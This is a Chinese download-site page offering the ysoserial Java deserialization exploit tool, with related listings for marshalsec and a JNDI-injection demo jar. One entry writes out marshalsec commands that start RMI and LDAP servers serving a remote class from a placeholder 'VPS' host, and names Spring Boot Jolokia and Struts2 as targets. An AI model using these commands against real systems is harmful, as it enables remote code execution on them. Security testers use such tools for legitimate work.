Advertisement

最新版本的ysoserial-0.0.6-SNAPSHOT-BETA-all.jar。

  •  5星
  •     浏览量: 0
  •     大小:None
  •      文件类型：None

简介：
目前，GitHub的下载速度已经显著下降，因此作者将原始文件转移至其他平台进行托管。在尝试使用时，我曾遇到轻微的兼容性问题，需要手动更正文件名才能顺利运行。

全部评论 (0)

还没有任何评论哟~
客服
客服
客服关闭
  • 新版ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
    优质
    ysoserial是一款用于生成各种序列化对象以进行安全测试和研究的工具。此版本(0.0.6-SNAPSHOT-BETA)为开发者提供了最新的功能更新与漏洞利用示例，助力于深入探索Java反序列化的安全性问题。 GitHub上的文件已经很难下载了，作者已将文件上传到其他平台。我在使用过程中遇到了一些问题，在正确更改原文件名后才能正常使用。
     
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    优质
    ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于生成各种常用Java反序列化漏洞利用链的工具包，帮助安全研究人员测试应用系统的反序列化风险。 ysoserial-0.0.6 可自行下载编译。提供一个下载链接：https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar 重写后： ysoserial-0.0.6 可自行下载编译。
     
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    优质
    ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于生成各种常见Java反序列化漏洞利用链码的工具，帮助安全研究人员测试应用系统对Java反序列化的安全性。 ysoserial-0.0.6-SNAPSHOT-all.jar是一款工具jar包。
     
  • ysoserial-0.0.6-SNAPSHOT-all.jar
    优质
    ysoserial-0.0.6-SNAPSHOT-all.jar是一款用于创建利用Java反序列化漏洞的payload的工具集，主要用于安全测试和研究。 ysoserial-0.0.6-SNAPSHOT-all.jar
     
  • ysoserial-0.0.6-SNAPSHOT-all工具
    优质
    ysoserial-0.0.6-SNAPSHOT-all 是一个针对Java反序列化漏洞的安全研究工具集，包含多种利用链和payload生成器，用于测试应用系统的安全性。 Apache Log4j 是一个适用于 Java 的日志记录库，并支持连接到远程日志服务器。在 Apache Log4j 2.8.2 版本之前的 2.x 系列版本中存在安全漏洞，攻击者可以利用这一漏洞来执行任意代码。这种类型的反序列化问题是可以被利用的。
     
  • marshalsec-0.0.3-SNAPSHOT-all.jar
    优质
    marshalsec-0.0.3-SNAPSHOT-all.jar是一款用于测试和研究Java远程方法调用(RMI)及其它基于对象的协议安全性的工具包，包含多种恶意和服务模式。 Moritz Bechler编写了一个工具，源码可以从GitHub下载。使用Maven编译后得到一个jar包，方便那些没有编译环境的用户直接运行该jar包来开启RMI或LDAP服务。 要启动RMI服务，请执行以下命令： ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 ``` 要启动LDAP服务，请使用如下命令： ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 ``` 这个工具可以用来测试Spring Boot Jolokia的远程命令执行，也可以用于检测Struts2 S系列漏洞。
     
  • marshalsec-0.0.3-SNAPSHOT-all.jar
    优质
    marshalsec-0.0.3-SNAPSHOT-all.jar是一款用于网络安全研究和测试的应用程序jar包，包含多种服务模拟器，主要用于检验远程对象序列化相关的安全漏洞。 marshalsec 官方不提供 jar 包下载，编译过程中遇到了一些错误，但我最终成功完成了编译。如果有需要的朋友可以使用我编译好的版本。
     
  • JNDI-Injection-Vulnerability-1.0-SNAPSHOT-all.jar
    优质
    JNDI-Injection-Vulnerability-1.0-SNAPSHOT-all.jar是一个用于演示和测试JNDI注入漏洞的Java应用程序jar包，帮助开发者理解并防范此类安全风险。 JNDI（Java Naming and Directory Interface）是Java平台提供的一种服务，用于访问目录和命名工件。它允许应用程序通过统一且标准的方式查找并使用各种资源和服务，如数据库连接、远程对象和其他类型的资源。JNDI 提供了一种与特定实现无关的方法来定位这些资源，并为 Java 应用程序提供了强大的工具以简化管理和配置过程。
     
  • JAVA版jieba 1.0.3-SNAPSHOT最新Jar包
    优质
    简介：这是Java版本的jieba分词库1.0.3-SNAPSHOT的最新JAR包，提供了与Python版jieba相似的中文分词功能和高效的词频统计、关键词抽取等文本处理能力。 要使用JAVA版jieba 1.0.3-SNAPSHOT最新版本的jar包，在IDEA项目中导入并添加到library和module即可开始使用；对于Eclipse项目来说，导入过程更为简单，这里不再赘述。